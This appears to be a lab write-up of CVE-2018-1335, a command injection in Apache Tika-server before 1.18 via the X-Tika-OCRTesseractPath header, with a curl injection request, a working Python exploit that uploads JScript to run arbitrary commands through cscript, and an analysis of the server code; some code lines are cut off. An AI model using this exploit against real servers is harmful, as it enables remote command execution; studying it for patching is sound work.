CVE-2018-1335

Description

Bug Overview: This bug leads to command injection vulnerability in Apache Tika -server < 1.18 and uses Cscript.exe to execute Jscript or VBS code and run arbitrary commands.

Environmental Setup

We downloaded the vulnerable version of the apache tika server in a windows 10 machine (running on azure windows 10 server instance) from https://archive.apache.org/dist/tika/tika-server-1.17.jar and start the tika server with the following command .

```
java -jar tika-server-1.17.jar
```

Vulnerability and Exploit

Exploit-1: Arbitrary Command Execution

We are able to inject arbitrary commands to the tika server through specifically crafted header prefix `X-Tika-OCRTesseractPath`. This header specifies the path to the OCR Tesseract binary `tesseract.exe` but we can inject arbitrary commands through it using the fact that Windows ignores anything provided after double quotes.

The injection HTTP request looks something like

```
curl -T file_example_TIFF_1MB.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractP
```

The vulnerability is of command injection at tika-server and the entry point of the vulnerability is the HTTP headers.
The tika-server code handles the HTTP request by checking the header prefix. In case of HTTP request with `"X-Tika-OCR" prefix`, the server code invokes `processHeaderConfig()` function which parses the HTTP request and constructs the `TesseractOCRConfig` object.
The `doOCR()` function then uses the TesseractOCRConfig object to construct the command for `ProcessBuilder`. However, the doOCR() function while constructing the command appends the `OCRTesseractPath` (i.e. the passed `calc.exe`) with `tesseract.exe`.
The resultant command looks like `"calc.exe"tesseract.exe ..."`. But since Windows ignores whatever is appened to it after the quotes, we are able to execute just our injected command `calc.exe`.

The command constructed by the doOCR() function is as follows.

```
"calc.exe"tesseract.exe <input.tmp> <output.tmp> -l eng -psm 1 txt -c preserve_interword_spa
```

Exploit-2: JScript Execution

The first temp file passed to the command is the input file uploaded. Thus we could fill the input file with some code and have it executed. However, the problem is the extension of the file is `".tmp"`. Also, uploading an image file with some code would due to verification of the `magic bytes` of the image. The work around is to use `Cscript` that takes the first argument as the script and allows to use `"//E:engine" flag` to specify the script engine so that the file extension does not matter. Also, setting the content type to `"image/jp2"` forces the tika-sever not to verify the magic bytes in the image. This allows an image file containing JScript/VBScript to be uploaded and executed on the server.

The new command would now look like

```
"cscript.exe"tesseract.exe <input.tmp> <output.tmp> -l //E:Jscript -psm 1 txt -c preserve_in
```

This is exploited in Exploit-2 code.

```
#!/usr/bin/env python

import sys
import requests

host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]

url = host+":"+str(port)+"/meta"

headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
        "X-Tika-OCRLanguage": "//E:Jscript",
        "Expect": "100-continue",
        "Content-type": "image/jp2",
        "Connection": "close"
        }

jscript='''var shellObj = WScript.CreateObject("WScript.Shell");
var execCmd = shellObj.Exec('cmd /c {}');'''.format(cmd)

try:
        requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
    try:
        requests.put("http://"+url, headers=headers, data=jscript)
    except:
        print "Something went wrong."
```

Analysis of Server Code Snippets

TikaResource.java

https://github.com/apache/tika/blob/86e997510b44f12dc9f90a68aaf583d5d3912892/tikaserver/src/main/java/or

```
public static final String X_TIKA_OCR_HEADER_PREFIX = "X-Tika-OCR";      // HTTP header pref

public static void fillParseContext(ParseContext parseContext, MultivaluedMap<String, String
                                        Parser embeddedParser) {
...
    TesseractOCRConfig ocrConfig = null;
    for (String key : httpHeaders.keySet()) {
            if (StringUtils.startsWith(key, X_TIKA_OCR_HEADER_PREFIX)) {
                ocrConfig = (ocrConfig == null) ? new TesseractOCRConfig() : ocrConfig;

                // Parses HTTP headers and constructs TesseractOCRConfig object
                processHeaderConfig(httpHeaders, ocrConfig, key, X_TIKA_OCR_HEADER_PREFIX);

            } else if (StringUtils.startsWith(key, X_TIKA_PDF_HEADER_PREFIX)) {
                pdfParserConfig = (pdfParserConfig == null) ? new PDFParserConfig() : pdfPar
                processHeaderConfig(httpHeaders, pdfParserConfig, key, X_TIKA_PDF_HEADER_PRE
            }
        }
```

TesseractOCRParser.java

https://github.com/apache/tika/blob/86e997510b44f12dc9f90a68aaf583d5d3912892/tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java

```
private void parse(TikaInputStream tikaInputStream, File tmpOCROutputFile, ParseContext pars
                    XHTMLContentHandler xhtml, TesseractOCRConfig config)
...
        // Uses TesseractOCRConfig object constructed with processHeaderConfig
        doOCR(tmpFile, tmpOCROutputFile, config);

private void doOCR(File input, File output, TesseractOCRConfig config) throws IOException, T

        // Construction of command string using TesseractPath
        ArrayList<String> cmd = new ArrayList<>(Arrays.asList(
                config.getTesseractPath() + getTesseractProg(), input.getPath(),  output.get
                config.getLanguage(), "--psm", config.getPageSegMode()
        ));

    for (Map.Entry<String, String> entry : config.getOtherTesseractConfig().entrySet()) {
            cmd.add("-c");
            cmd.add(entry.getKey() + "=" + entry.getValue());
```

```
}
cmd.addAll(Arrays.asList(
        "-c", "page_separator=" + config.getPageSeparator(),
        "-c",
        (config.getPreserveInterwordSpacing())? "preserve_interword_spaces=1" : "pre
        config.getOutputType().name().toLowerCase(Locale.US)
));
ProcessBuilder pb = new ProcessBuilder(cmd);
setEnv(config, pb);
final Process process = pb.start(); // Command execution
```